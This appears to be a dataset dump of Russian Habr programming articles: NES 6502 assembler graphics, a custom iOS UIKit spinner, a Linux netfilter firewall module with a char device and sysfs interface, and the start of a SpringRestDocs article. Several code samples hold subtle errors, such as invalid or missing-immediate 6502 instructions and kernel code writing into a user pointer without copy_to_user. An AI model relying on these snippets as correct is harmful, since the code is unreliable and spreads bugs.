text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Программирование NES (dendy), assembler 6502
У меня с детства была мечта написать игру для любимой приставки денди, шло время, мечта то появлялась то затихала снова. Она меня направляла в сторону магии программирование, и вот прошло больше 20-ти лет я программист, и снова в который раз пытаюсь постигнуть магию той самой денди что так будоражило моё воображение в тяжелом но счастливом детстве. Сегодня Я расскажу вам как постиг секреты этой магии, наконец то смог вывести спрайты на экран и научился рисовать фон.
---
Я php программист и по этому довольно далек от низкоуровневого программирования, по этому мне приходилось довольно долго изучать сам assembler но он оказался проще чем я думал, оказалось надо просто освободить голову от стереотипов современного программирования и смотреть на assembler как на инструмент передачи информации в некое api черный ящик. Так вот этим черным ящиком и является для нас Dendy (или NES, Famicom), так вот у этого ящика есть некие области памяти, одни предназначены только для чтения, другие для записи, а третьи и для чтения и для записи. Приставка воспроизводя игру использует несколько ключевых подсистем (процессоров):
1. CPU - центральный процессор
2. PPU - Графический процессор
3. APU - Аудио процессор
Сегодня, Я хотел бы затронуть тему работы с PPU ибо это наверное ключевое для многих людей графическое представление данных. Для начала разберем из чего состоит картридж, важными в картридже являются 2 чипа с памятью один это CHR (тут хранится битовая карта спрайтов и фона) имеет два банка памяти. Битовая карта представляет из себя набор 0-й и 1-к, размером 8х8, один спрайт состоит из 2-х таких областей. Пример ниже.
`0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0
0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0
0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0
0 1 1 1 1 1 0 0 + 1 1 1 1 1 1 1 1
0 1 0 0 0 1 0 0 1 0 0 0 0 0 1 0
0 1 0 0 0 1 0 0 1 0 0 0 0 0 1 0
0 1 0 0 0 1 0 0 1 0 0 0 0 0 1 0`
При сложение этих двух банков они накладываются друг на друга и определяется цвет пикселя, таких цвета может быть 3-и для спрайта:
* 0 + 0 = 0 - прозрачный цвет
* 0 + 1 = 1 - первый цвет
* 1 + 1 = 2 - второй цвет
* 1 + 0 = 3 - третий цвет
Из этого примера и вытекают следующее умозаключение, что у background 4 цвета в палитре, а у спрайта всего 3-три. Потому что фон не имеет прозрачного цвета, 1-й цвет у него цвет фона.
Давайте перейдем к ассемблеру, у нес есть несколько аккумуляторов, их можно сравнить с переменными это A, X, Y. X, Y они имеют косвенное отношение к координатам. Чаще всего мы будем пользоваться аккумулятором A.
```
LDA {argument} - Загрузить в A значение argument (десятичное #20, hex #$20, двоичное %00010010)
STA {address} - Сохранить A в память (адрес ppu для примера)
```
Команды с аккумулятором X и Y
```
LDX {argument} - Загрузить аргумент в X
LDY {argument}
STX {address} - Сохранить X
STY {address} - Сохранить Y
INX - increment X
INY - increment Y
CPX {argument} - Сравнить x с аргументом
CPY {argument} - Сравнить y с аргументом
```
Команды ветвления:
```
JMP {address} - переход к адресу
BEQ {address} - перейти к адресу если CPX true
BNQ {address} - перейти если условие в CPX не равно
```
С первоначальными командами разобрались, дальше надо разобраться с двумя основными вопросами:
* Как отобразить фон?
* Как нарисовать спрайт?
#### Отображение фона
Разрешение NES, В системе PAL 256x240, в системе NTSC 256x224. Фон состоит из спрайтов 8х8, соответственно 32х30 спрайтов в PAL, в NTSC верхний ряд спрайтов и нижний обрезаются. Для того чтобы отобразить фон, необходимо 3 условия: палитра, nametable (таблица имен), таблица атрибутов.
1. Палитра - палитра для фона содержит 16 цветов 4 вариации по 4 цвета. Как и палитра спрайтов собственно.
2. Nametable - таблица 32х30 спрайтов, которая заполнена для отображения спрайтов на одном экране, таких таблиц может быть 2 без дополнительной оперативной памяти, если картридж содержит дополнительную память в размере 2КБайт то таких таблиц может быть 4-ре процессор поддерживает 4 таблицы. Но из-за ограничения по памяти их две из коробки, в денди существует функционал зеркального отображения фона, который мы разберем в следующих статьях.
3. Таблица атрибутов - в nes экран делится на сетку с размером ячейки 32х32 или 2х2 спрайта, 8х8 ячеек, каждая ячейка содержит 1 байт битовой маски, %00000000. Чтобы понять как она формируется давайте рассмотрим ячейку спрайтов 2 на 2 спрайта.
-----------------
| 0 | 1 |
-----------------
| 2 | 3 |
-----------------
Я специально в разные ячейки поставил разные цифры, эти цифры означают порядковый номер палитры, который будет применен к спрайту фона. Так вот каждые 2 бита маски обозначают какую палитру применить к спрайту в ячейке:
```
00 - 0-вая последовательность 4-х цветов
01 - 1-я
11 - 2-я
10 - 3-я
```
#### Немного отвлечемся и поговорим о принципе программирование на nes
Для того чтобы отобразить к примеру спрайт, фон, или сделать скролинг экрана необходимо просто записать в соответствующий адрес данные, к примеру для прокрутки экрана по оси X нужно просто в адрес PPU $2005 записать сначала X координату потом Y, подчеркну последовательно.
```
LDA #25 ; десятичное значение X координаты
STA $2005 ; записываем #25 в адрес
LDA #00 ; 0 по оси Y
STA $2005 ; записываем #0 в адрес
```
Разберем другой пример рисование спрайта он довольно прост
```
LDA #100 ; координата Y спрайта
STA $2004 ; записываем в адрес OEM data PPU
LDA #00 ; номер спрайта в таблице тайлов (по сути таил и есть таблица спрайтов)
STA $2004 ; записываем в адрес
LDA #%00010111 ; маска которая определяет отражение спрайта по вертикали и горизонтали, а так же номер палитры
STA $2004 ; сохраняем в адрес
LDA #192 ; загружаем Y координату
STA $2004 ; и снова записываем
```
Такая последовательность команд выведет спрайт 8х8 в скриншоте таких спрайтов 6. Теперь перейдем к более сложному, допустим мы определили что у нас есть таблица имен адресное пространство таблицы от $2000 - $2400 видео памяти, вторая таблица $2400 - $2800 и так далее. Для начала наша задача записать в данную ячейку памяти данные nametable. Для этого нам надо просто
```
LDA #$20 ; старший байт
STA $2006 ; регистр 2байта тут мы указываем какой участок памяти мы бы хотели использовать
LDA #$00 ; младший байт
STA $2006
```
Тут мы снова видим принцип обычной последовательности записи, сначала X потом Y, либо адрес памяти в которую хотим произвести запись данных.
```
LDA $24 ; номер тайла или спрайта в банке CHR
STA $2007 ; регистр для записи данных
; далее возможно записывать каждый спрайт в таблицу имен отдельно
```
Конечно ни кто не записывает руками данные а использует циклы, как и Я, приведу простой пример цикла на ассемблере
```
LDX #00 ; загружаем 0 в x значение decimal так проще чем #$00 - #$FF к примеру
section:
; какие то действия загрузка тех же спрайтов
LDA $24
STA $2007
CPX #255
INX
BNE section
```
Код секции выполниться 255 раз и заполнит 255 значений таблице имен, это как пример. Для заполнения всех значений необходимо использовать аккумулятор Y и пройтись 4 раза таким циклом. Далее используя ту же логику мы можем загрузить палитру, палитра в памяти хранится с адреса $3F00-$3F0F - 16 байт соответственно. Используя предыдущую логику загрузки nametable нам необходимо сделать следующее
```
LDA #$3F ; старший байт адреса $3F
STA $2006
LDA #$00 ; младший байт
STA $2006
LDA $22 ; цвет палитры nes синий
STA $2007 ; записываем цвет в адресс $3F00
LDA $05 ; красный
STA $2007 ; записываем цвет в адресс $3F01
; и так далее еще 14 раз
```
Опять же палитру можно определить как последовательность байт и загрузить ее циклом который пробежится 16 раз или 16 байт
```
background_pallete:
.byt $01, $02, $03, $04
.byt $05, $22, $23, $24
.byt $25, $26, $27, $28
.byt $31, $32, $33, $34
LDX #$00 ; x равен 0
LDA #$3F ; старший байт адреса $3F
STA $2006
LDA #$00 ; младший байт
STA $2006
loadPallete:
LDA background_pallete, x ; background_pallete ссылается на адресс
; в котором хранится байт , x добавляет +1 к адресу
STA $2007 ; записываем данные
CPX #$0F ; сравниваем X с 16
INX ; X = X+1
BNE loadPallete ; повторяем до тех пор пока X не будет 16
; Тогда будет загруженны все цвета палитры в видеопамять
```
Осталось разобраться с тем как загрузить атрибуты фона, это тоже довольно просто атрибуты хранятся в адресном пространстве видеопамяти начиная с $23C0 - $23FF каждый ряд начинается с $23C0, $23C8 и так далее то есть 8 рядов по 8 столбцов.
Теперь нам известны область памяти для применения определенной палитры для спрайта фона, так что, чтобы ее применить нам необходимо, снова, очень просто сказать в какую ячейку памяти мы бы хотели записать нашу маску, загрузить ее в аккумулятор А и записать в регистр $2007
```
LDA #$23
STA $2006
LDA #$C2
STA $2006 ; получаем адрес $23C2
LDA %00001100 ; загружаем нашу маску атрибута, как ее вычислить я писал выше
STA $2007 ; записываем в регистр
```
Таким образом отображение фона превращается в довольно тривиальную задачу, результатом 2-х недель изучения темы асемблеры вы видели на скриншоте в заголовке статьи. На самом деле assembler nes не такой сложный если сломать стереотипы программирования которыми мы сейчас пользуемся, и взглянуть на все это проще, когда наступает момент понимание того что, асемблером возможно обратиться в доступный участок памяти записать туда некоторую информацию, которая потом волшебным образом отобразиться на экране. Это маленькая победа над собой, маленький шаг к мечте. Спасибо всем за внимание и до скорых встреч.
Читаем контроллер: <https://habr.com/ru/post/552604/> | https://habr.com/ru/post/551488/ | null | ru | null |
# [iOS] Создаем кастомный лоадер (спиннер или UIActivityIndicator) в UIKit
Введение
--------
Все мы знаем как выглядит стандартный индикатор загрузки (далее - спиннер или лоадер) на наших iOS устройствах, который отображается при загрузке данных и других кейсах, когда пользователь вынужден ждать окончание какого-либо процесса. Но мне всегда было интересно сделать свой кастомный лоадер, чтобы применять его в своих проектах, поэтому я и решил изучить эту сторону вопроса. Конечно, можно использовать успешно и стандартный лоадер и популярные библиотеки (например [PKHUD](https://github.com/pkluz/PKHUD)), но давайте попробуем сегодня весело покастомизировать!
> **Тестировалось на xcode 13.2.1, swift 5**
>
>
Стандартный iOS UIActivityIndicator1. Создаем свой простенький спиннер
-----------------------------------
Мы создадим свой класс, который будет использовать элементы фреймворка СoreAnimations - специального фреймворка для отображения анимаций и не только. Из официальной документации:
> **СoreAnimations** обеспечивает высокую частоту кадров и плавную анимацию, не нагружая ЦП и не замедляя работу приложения. Большая часть работы, необходимая для отрисовки каждого кадра анимации, выполняется за вас. Вы настраиваете параметры анимации, такие как начальная и конечная точки, а Core Animation делает все остальное, перекладывая большую часть работы на специальное графическое оборудование для ускорения рендеринга.
>
>
Основными элементами, которые мы будем использовать, будут два класса CoreAnimations:
1) **CAShapeLayer** - это слой, который может отображать кривые Безье UIBezierPath
2) **CAReplicatorLayer** - это слой, с помощью которого можно создать копии определенного подслоя с различными геометрическими, временными и цветовыми преобразованиями.
Вкратце: с помощью UIBezierPath мы создадим фигуру, добавим ее на CAShapeLayer, а затем экземпляр CAShapeLayer добавим на CAReplicatorLayer, который "раскопируем" и заставим вращаться с помощью анимации (на самом деле копии будут менять ***прозрачность*** и это будет создавать эффект вращения).
Я сразу приведу пример кода, и откомментирую его - такой стиль повествования мне нравится больше чем отдельные куски кода с пояснениями, т. к. сразу можно скопировать себе и посмотреть:
```
final class CustomSpinnerSimple: UIView {
// MARK: - Properties
/// Объявляем нужные нам переменные для CAReplicatorLayer
private lazy var replicatorLayer: CAReplicatorLayer = {
let caLayer = CAReplicatorLayer()
return caLayer
}()
/// и CAShapeLayer:
private lazy var shapeLayer: CAShapeLayer = {
let shapeLayer = CAShapeLayer()
return shapeLayer
}()
/// Переменная для названия анимации (используем ниже)
private let keyAnimation = "opacityAnimation"
// MARK: - Init
/// Удобный инициализатор
/// - Parameter squareLength: длина стороны квадрата(вью)
/// в котором будет спиннер
/// По умполчанию спиннер устанавливается в центр экрана
convenience init(squareLength: CGFloat) {
let mainBounds = UIScreen.main.bounds
let rect = CGRect(origin: CGPoint(x: (mainBounds.width-squareLength)/2,
y: (mainBounds.height-squareLength)/2),
size: CGSize(width: squareLength, height: squareLength))
self.init(frame: rect)
}
/// Инициализатор через frame, который позволяет установить спиннер
/// в любое место экрана
/// - Parameter frame: фрейм в котором будет спиннер
override init(frame: CGRect) {
super.init(frame: frame)
// добавляем replicatorLayer на слой нашего класса:
layer.addSublayer(replicatorLayer)
// добавляем shapeLayer на replicatorLayer:
replicatorLayer.addSublayer(shapeLayer)
}
/// Обязательный нициализатор,
/// available(*, unavailable) - означает что он не будет отображаться
///в подсказке при создании класса
@available(*, unavailable)
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func layoutSubviews() {
super.layoutSubviews()
// С помощью UIBezierPath рисуем круг и отображаем
/// на нашем shapeLayer
let size = min(bounds.width/2, bounds.height/2)
let rect = CGRect(x: size/4, y: size/4, width: size/4, height: size/4)
let path = UIBezierPath(ovalIn: rect)
shapeLayer.path = path.cgPath
// Устанавливаем размеры для replicatorLayer
replicatorLayer.frame = bounds
replicatorLayer.position = CGPoint(x: size, y: size)
}
// MARK: - Animation's public functions
/// Функция для запуска анимации
/// - Parameters:
/// - delay: Время анимации, чем меньше значение,
/// тем быстрее будет анимация
/// - replicates: количество реплик, то есть экземляров класса replicatorLayer
func startAnimation(delay: TimeInterval, replicates: Int) {
replicatorLayer.instanceCount = replicates
replicatorLayer.instanceDelay = delay
// Определяем преобразование для реплики - следующая реплика будет
// повернута на угол angle, относительно предыдущей
let angle = CGFloat(2.0 * Double.pi) / CGFloat(replicates)
replicatorLayer.instanceTransform = CATransform3DMakeRotation(angle, 0.0, 0.0, 1.0)
// А далее сама анимация для нашего shapeLayer:
shapeLayer.opacity = 0 // начальное значение прозрачности
// анимация прозрачности:
let opacityAnimation = CABasicAnimation(keyPath: "opacity")
// от какого значения (1 - непрозрачно, 0 полностью прозрачно)
opacityAnimation.fromValue = 0.1
opacityAnimation.toValue = 0.8 // до какого значения
// продолжительность:
opacityAnimation.duration = Double(replicates) * delay
// повторять бесконечно:
opacityAnimation.repeatCount = Float.infinity
// добавляем анимацию к слою по ключу keyAnimation:
shapeLayer.add(opacityAnimation, forKey: keyAnimation)
}
/// Функция остановки анимации - удаляем ее по ключу keyAnimation с нашего слоя
func stopAnimation() {
guard shapeLayer.animation(forKey: keyAnimation) != nil else {
return
}
shapeLayer.removeAnimation(forKey: keyAnimation)
}
// MARK: - Deinit
/// Останавливаем анимацию при деините экземпляра
deinit {
stopAnimation()
}
}
```
Далее, чтобы увидеть как это все выглядит и используется, создаем новый проект, помещаем туда класс **CustomSpinnerSimple** и создаем контроллер:
```
final class ViewControllerSimple: UIViewController {
// Спиннер - размер 100
private lazy var spinner: CustomSpinnerSimple = {
let spinner = CustomSpinnerSimple(squareLength: 100)
return spinner
}()
// Во viewDidLoad добавляю спиннер и стартую анимацию
override func viewDidLoad() {
super.viewDidLoad()
view.addSubview(spinner)
spinner.startAnimation(delay: 0.04, replicates: 20)
}
}
```
Запускаем проект, видим результат - вышло довольно прилично! Обратите внимание, меняя параметры ***delay***, ***replicates*** и ***opacityAnimation.fromValue***, ***opacityAnimation.toValue*** мы можем получать разные спиннеры, некоторые варианты я привел ниже:
Осторожно, очень красиво!delay 0.04, replicates 20, fromValue 0.2, toValue 0.9delay: 0.01, replicates: 120, fromValue 0.1, toValue 0.7delay: 0.04, replicates: 12, fromValue 0.1, toValue 0.92. Усложняем, используя возможности UIBezierPath
------------------------------------------------
Я немного переработал класс спиннера, а также вью контроллер, здесь опишу примерные шаги и результаты, а остальное можно будет посмотреть в проекте, ссылку оставлю ниже.
Итак, выше, для подложки shapeLayer мы использовали круг, к тому же с фиксированными для каждого случая ***width*** и ***height***:
```
let size = min(bounds.width/2, bounds.height/2)
let rect = CGRect(x: size/4, y: size/4, width: size/4, height: size/4)
let path = UIBezierPath(ovalIn: rect)
shapeLayer.path = path.cgPath
```
А что если пойти дальше? Попробовать нарисовать другие фигуры с помощью UIBezierPath, а также поиграть с размерами. Я попробовал использовать квадрат и треугольник.
Квадрат рисуется аналогично кругу:
```
let size = min(bounds.width/2, bounds.height/2)
let rect = CGRect(x: size/4, y: size/4, width: size/4, height: size/4)
let path = UIBezierPath(rect: rect)
shapeLayer.path = path.cgPath
```
А треугольник рисуем с помощью линий, примерно так:
```
var tX = bounds.width/4
var tY = bounds.height/4
let pathTriangle = CGMutablePath()
let startPoint = CGPoint(x: bounds.width/8, y: bounds.width/8)
pathTriangle.move(to: startPoint)
let point0 = startPoint.applying(.init(translationX: 0, y: tY / 2))
pathTriangle.move(to: point0)
let point1 = startPoint.applying(.init(translationX: tX, y: 0))
pathTriangle.addLine(to: point1)
let point2 = startPoint.applying(.init(translationX: tX, y: tY))
pathTriangle.addLine(to: point2)
pathTriangle.addLine(to: point0)
shapeLayer.path = pathTriangle
```
Я преобразовал **CustomSpinnerSimple**, добавив в инициализатор параметр тип спиннера **SpinnerType** - это перечисление, для каждого значения которого создается свой UIBezierPath(CGMutablePath для треугольников), который отвечает за определенный вид отрисовки, получив тем самым возможность отображать на **shapeLayer** различные фигуры.
Для отображения сразу нескольких вариантов спиннера, во вью контроллер я поместил UICollectionView.
В итоге играясь теми же параметрами ***delay***, ***replicates*** - я поставил рандомную генерацию значений этих параметров, а также параметрами tX и tY, которые влияют на размер, а для треугольник и на общий вид, я получил целую гамму новых спиннеров:
Новые спиннеры с различными CGMutablePath и UIBezierPathМожно добавить цвет к нашим спиннерам, он также будет рандомный:
```
shapeLayer.fillColor = UIColor.random.cgColor
```
Здесь я использовал расширение класса UIColor:
```
extension UIColor {
static var random: UIColor {
return UIColor(
red: .random(in: 0...1),
green: .random(in: 0...1),
blue: .random(in: 0...1),
alpha: 1.0
)
}
}
```
Получаем что то вроде этого:
Цветные спиннеры3. Заключение
-------------
Согласитесь, получилось довольно веселое приключение, при этом мы использовали всего два класса **СoreAnimations**. Остальное - стандартные инструменты UIKit.
Думаю примерно понятно, куда копать, если захочется сделать свой спиннер. Можно продолжить и найти новые интересные спиннеры - просто использовав новый UIBezierPath, а также поиграв с параметрами, про которые я упоминал выше.
Код можно посмотреть [здесь](https://github.com/AlexanderGermek/CustomSpinnerUIKit). В проекте две основные папки - Simple и Hard. Первая соответствует спиннеру и вью контроллеру, который я описывал в пункте 1. Вторая - кастомным спиннерам из пункта 2 этой статьи. Переключаться между ними можно просто изменив стартовый вью контроллер приложения:
ViewController для Hard, ViewControllerSimple для Simple | https://habr.com/ru/post/658083/ | null | ru | null |
# Создание и тестирование Firewall в Linux, Часть 1.3. Написание char device. Добавление виртуальной файловой системы…
**Содержание первой части:**
[**1.1** — Создание виртуальной лаборатории (чтобы нам было где работать, я покажу как создать виртуальную сеть на вашем компьютере. Сеть будет состоять из 3х машин Linux ubuntu).](https://habrahabr.ru/post/315340/)
[**1.2** – Написание простого модуля в Linux. Введение в Netfilter и перехват трафика с его помощью. Объединяем все вместе, тестируем.](https://habrahabr.ru/post/315350/)
****1.3** – Написание простого char device. Добавление виртуальной файловой системы — sysfs. Написание user interface. Объединяем все вместе, тестируем.**
**Содержание второй части:**
**Скрытый текст**[**2.1** — Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark.](https://habrahabr.ru/post/316086/)
[**2.2** — Таблицы Firewall. Transport Layer. Структуры TCP, UDP. Расширяем Firewall.](https://habrahabr.ru/post/316756/)
**2.3** — Расширяем функциональность. Обарабатываем данные в user space. libnetfilter\_queue.
**2.4** — (\*Опиционально) Изучаем реальную Buffer Overflow атаку и предотвращаем с помощью нашего Firewall'а.
**Часть 1.3**
В предыдущих частях, мы подготовили модуль (kernel space), который уже может делать минимальную работу – некоторым пакетам давать проходить, а некоторым нет. Теперь было не плохо добавить возможность, получать данные и управлять работой модуля из обычной программы (user space). Например включать Firewall, выключать и получать статистику работы. Существует несколько способов это сделать. Мы пойдем по классическому способу.
### Введение в Character device. Теория
Я советую для чтения [английскую версию статьи Википедии](https://en.wikipedia.org/wiki/Device_file#Character_devices), как более точную и объемную по этой теме чем русскую. Для нас будет достаточно понимания, что разные аппаратные устройства(hardware), работают и взаимодействуют с операционной системой, на очень низком уровне и конечно же происходит все это в kernel space. Linux/Unix системы, создали механизмы, одним из которых является *character device*, для того чтобы упростить взаимодействие с этими устройствами. Создавая *character device*, мы «просим» у ОС необходимые ресурсы и можем представить устройство в виде файла в специальной директории (как известно в linux все представлено в виде файлов и операции чтения\записи в него). При чтении из этого файла – мы можем получить данные от устройства (например пакеты которые пришли на сетевую карту), при записи в этот файл мы можем посылать данные устройству (например послать документ принтеру на печать). В нашем случае, устройства физически нет, но мы воспользуемся этими файлами для взаимодействия с нашей программой.
### Введение в Character device. Практика
Создать и зарегистрировать такой драйвер очень просто, достаточно вызвать функцию
`fw_major = register_chrdev(0, DEVICE_NAME, &fops);`. Уже после этой функции, можно пойти в /dev/ вручную добавить устройство и начать с ним работать. Структура *fops*, определяет функции, которые будут вызываться при разных событиях с драйвером, например — чтением или записью. Функция возвращает *major number* – уникальный идентификационный номер.
В данном случае я выбрал только два события, но по ссылкам, что я приведу ниже, или самому почитав исходные тексты kernel можно найти полный список(довольно большой).
Ниже я определил, что при чтении с нашего устройства, мы получим количество всех перехваченных пакетов, а при записи, обнулим их:
```
static ssize_t fw_device_read(struct file* filp, char __user *buffer, size_t length, loff_t* offset)
{
printk("Reading from device, return total number of messages\n");
return sprintf(buffer, "%u", accepted_num + dropped_num);
}
static ssize_t fw_device_write(struct file *fp, const char *buff, size_t length, loff_t *ppos) {
printk("Writing to device, clear number of messages\n");
accepted_num = dropped_num = 0;
return 0;
}
static struct file_operations fops = {
.read = fw_device_read, .write = fw_device_write
};
```
Чтобы не добавлять каждый раз устройство вручную, можно сделать его регистрацию автоматической:
```
fw_class = class_create(THIS_MODULE, DEVICE_NAME);
fw_device = device_create(fw_class, NULL, MKDEV(fw_major, 0), NULL, DEVICE_FW);
```
Небольшая проверка:
Уже сейчас можно видеть устройство в /dev, кроме того, после регистрации класса, оно также появляется и в /sys/class
Ниже приведен полный листинг, обратите внимание на использование goto. Обычно(=всегда), мы не используем goto в программировании, потому что это очень сильно портит понимание, содержание, читаемость кода и скорее всего говорит о проблемах в дизайне программы([спагетти-код](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B0%D0%B3%D0%B5%D1%82%D1%82%D0%B8-%D0%BA%D0%BE%D0%B4)). Но этот случай один из немногих где goto очень к месту.
```
static int fw_major;
static struct device* fw_device;
static ssize_t fw_device_read(struct file* filp, char __user *buffer, size_t length, loff_t* offset) {
printk("Reading from device, return total number of messages\n");
return sprintf(buffer, "%u", accepted_num + dropped_num);
}
static ssize_t fw_device_write(struct file *fp, const char *buff, size_t length, loff_t *ppos) {
printk("Writing to device, clear number of messages\n");
accepted_num = dropped_num = 0;
return 0;
}
static struct file_operations fops = {
.read = fw_device_read,
.write = fw_device_write
};
static int __init fw_module_init(void) {
int retval = 0;
printk("Starting FW module loading\n");
…
accepted_num = 0;
dropped_num = 0;
// device functions
fw_major = register_chrdev(0, DEVICE_NAME, &fops);
if (fw_major < 0) {
printk("failed to register device: error %d\n", fw_major);
goto failed_chrdevreg;
}
fw_class = class_create(THIS_MODULE, DEVICE_NAME);
if (fw_class == NULL) {
printk("failed to register device class '%s'\n", DEVICE_NAME);
goto failed_classreg;
}
fw_device = device_create(fw_class, NULL, MKDEV(fw_major, 0), NULL, DEVICE_FW);
if (fw_device == NULL) {
printk("failed to create device '%s_%s'\n", DEVICE_NAME, DEVICE_FW);
goto failed_devreg;
}
// netfilter functions …
return 0;
failed_devreg:
class_destroy(fw_class);
// unregister the device class
failed_classreg:
unregister_chrdev(fw_major , DEVICE_NAME);
// remove the device class failed_classreg:
failed_chrdevreg:
// unregister the major number failed_chrdevreg:
return -1;
}
```
### User interface
Теперь напишем простую программу, которая будет читать и писать в созданный девайс для проверки работы:
```
// test.c
#include
#include
#include
int reset() {
char path[] = "/dev/device\_fw";
int fd = open(path, O\_WRONLY);
if (fd<0) {
printf("Device access error, fd = %d\n", fd);
return fd;
}
char msg = '1';
write(fd, &msg, sizeof(msg));
close(fd);
return 0;
}
int all\_msg() {
char msg[1] = {0};
int fd = open("/dev/device\_fw", O\_RDONLY);
if (fd<0) {
printf("Device access error, fd = %d\n", fd);
return fd;
}
if(read(fd, &msg, 1)>0){
printf("Accepted packets number: %s\n", msg);
} else {
printf("Nothing to read\n");
}
close(fd);
return 0;
}
int main(int argc, char\* argv[]) {
if(argc <= 1 || argc > 3) {
printf("Wrong number arguments. Number of arguments is %d\n", argc);
return -1;
}
if(strcmp(argv[1], "reset")==0){
reset();
} else if(strcmp(argv[1], "all\_msg")==0){
all\_msg();
} else {
printf("Wrong argument %s\n", argv[1]);
}
return 0;
}
```
И проверяем работу:
Как видно выше, сначала мы загрузили наш модуль. Потом откомпилировали программу для чтения\записи в устройство. Первый раз запустив *sudo ./test all\_msg*, мы выполнили чтение из устройства и получили число 0. После этого мы послали 4 ping запроса на одно из сетевых устройств. Опять выполнили чтение, получили 16 пакетов (почему не 8мь? ;). Выполнили *sudo ./test reset*, которая обратилась на запись к устройству, которое в свою очередь все обнулило.
Так это выглядит с точки зрения драйвера:
Прежде чем мы продолжим, очень советую (но не обязательно) для углубления почитать [тут](http://derekmolloy.ie/writing-a-linux-kernel-module-part-2-a-character-device/). А также [тут](http://pete.akeo.ie/2011/08/writing-linux-device-driver-for-kernels.html). Внизу еще есть ссылка на хорошую бесплатную книгу.
### Введение в sysfs. Теория
Мы могли бы продолжить коммуникацию драйвера – пользователя через чтение\запись в */dev/fw\_device*, но не рекомендуется это делать, если нужно посылать\получать много информации (в отличии от байтов в нашем примере), а также данный способ считается устаревшим. И хотя в данной статье, нет больших объемов, я покажу как использовать sysfs, для коммуникации *kernel <-> user*.
***sysfs*** — виртуальная файловая система в операционной системе Linux. Экспортирует в пространство пользователя информацию ядра Linux о присутствующих в системе устройствах и драйверах. Впервые появилась в ядре версии 2.6. Необходимость создания была вызвана устаревшей системой работы ядра с устройствами.(<https://ru.wikipedia.org/wiki/Sysfs>)
То есть, благодаря sysfs, мы можем создавать целые структуры с иерархией из файлов, которые будут отображаться в */sys/class/fw* и использовать их для чтения или записи. Например мы создадим два файла:
*/sys/class/fw/acceptedMessages* — чтение из которого вернет количество принятых пакетов
*/sys/class/fw/dropedMessages* — чтение из которого вернет количество запрещенных пакетов
Делается это очень просто. Обратите внимание, что после вызова выше:
```
fw_class = class_create(THIS_MODULE, DEVICE_NAME);
```
Мы уже зарегистрировали класс и уже видели его в /sys/class. Осталось добавить два файла и определить их функции. Регистрируем файлы:
```
static int __init fw_module_init(void)
{
…
fw_device = device_create(fw_class, NULL, MKDEV(fw_major, 0), NULL, DEVICE_FW);
…
retval = device_create_file(fw_device, &dev_attr_acceptedMessages);
if (retval < 0) {
printk("failed to create acceptedMessages /sys endpoint - continuing without\n");
}
retval = device_create_file(fw_device, &dev_attr_droppedMessages);
if (retval < 0) {
printk("failed to create droppedMessages /sys endpoint - continuing without\n");
}
…
}
```
Вначале модуля, добавляем макросы DEVICE\_ATTR, которые определяют чтение или запись, а также функции которые будут вызваны. Так как нам не зачем обрабатывать запись, то последнее поле NULL.
```
static DEVICE_ATTR(acceptedMessages, S_IWOTH | S_IROTH, sys_read_accepted_msg, NULL);
static DEVICE_ATTR(droppedMessages, S_IWOTH | S_IROTH, sys_read_dropped_msg, NULL);
```
И сами функции:
```
static ssize_t sys_read_accepted_msg(struct device *dev, struct device_attribute *attr, char *buffer) {
return sprintf(buffer, "%u", accepted_num);
}
static ssize_t sys_read_dropped_msg(struct device *dev, struct device_attribute *attr, char *buffer){
return sprintf(buffer, "%u", dropped_num);
}
```
Обращение к ним через наш user interface происходит точно также как и с /dev/. Например:
```
int dropped_num() {
char msg[255] = {0};
int fd = open("/sys/class/fw/device_fw/droppedMessages", O_RDONLY);
if (fd<0) {
printf("Device access error, fd = %d\n", fd);
return fd;
}
if(read(fd, &msg, 255)>0){
printf("Accepted packets number: %s\n", msg);
} else {
printf("Nothing to read\n");
}
close(fd);
return 0;
}
```
Теперь самое время все собрать воедино, откомпилировать и хорошенько проверить.
*Sysfs:*
**Accepted packets:** делаем ping
И параллельно считываем
Проверяем **dropped packets**:
Пытаемся делать ping с *host2* на *host1*
Параллельно смотрим «логи»
Кстати, обратите внимание, что тут, счетчик постоянно увеличивается на один (а не на два, как раньше), потому что, *host1* не получает запросы от *host2* и соответственно не отвечает. И для интереса *dmesg*:
Последнее — я выгружу fw и проверю, что без него сеть работает без ограничений:
Мы видим, что без нашего модуля, ping проходит без проблем.
### Заключение
В первой части, мы сначала создали виртуальную сеть, для работы с тремя компьютерами. Потом мы рассмотрели написание простого модуля, который использовал netfilter для перехвата трафика. И в конце, добавили char device и sysfs, для представления функций модуля в файловой системе обычному пользователю через чтение\запись в файлы. В завершении написали программу для пользователя, для управления нашим устройством.
Буду очень рад любым конструктивным комментариям. В следующей части, мы существенно расширим функциональность данного модуля, сделаем его более похожим на простой firewall, а также посмотрим как он может защищать сеть от различного вида атак.
**Ссылки**
» [Linux Device Drivers, Third Edition](https://lwn.net/Kernel/LDD3/)
» <http://derekmolloy.ie/writing-a-linux-kernel-module-part-2-a-character-device/>
» <http://pete.akeo.ie/2011/08/writing-linux-device-driver-for-kernels.html>
» <https://ru.wikipedia.org/wiki/Sysfs>
» <https://en.wikipedia.org/wiki/Device_file#Character_devices>
» [спагетти-код](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B0%D0%B3%D0%B5%D1%82%D1%82%D0%B8-%D0%BA%D0%BE%D0%B4) | https://habr.com/ru/post/315454/ | null | ru | null |
# Документируем и тестируем REST API с помощью SpringRestDocs
Добрый день, хочу затронуть тему документирования REST API. Сразу же оговорюсь, этот материал будет ориентирован на инженеров работающих в Spring экосистеме.
На нескольких последних проектах я использовал фреймворк SpringRestDocs, он успешно закрепился в портфолио, был показан знакомым, которые также начали успешно его применять и теперь я хочу поделиться с Вами в статье о его возможностях и преимуществах. Статья позволит разобраться с применением SpringRestDocs и начать его использовать.
> С момента знакомства с этим инструментом я понял что появилось решение, которого я ждал и его не хватало в разработке. Посудите сами — об этом можно было только мечтать:
>
>
>
> * Документация генерируется автоматически при запуске тестов.
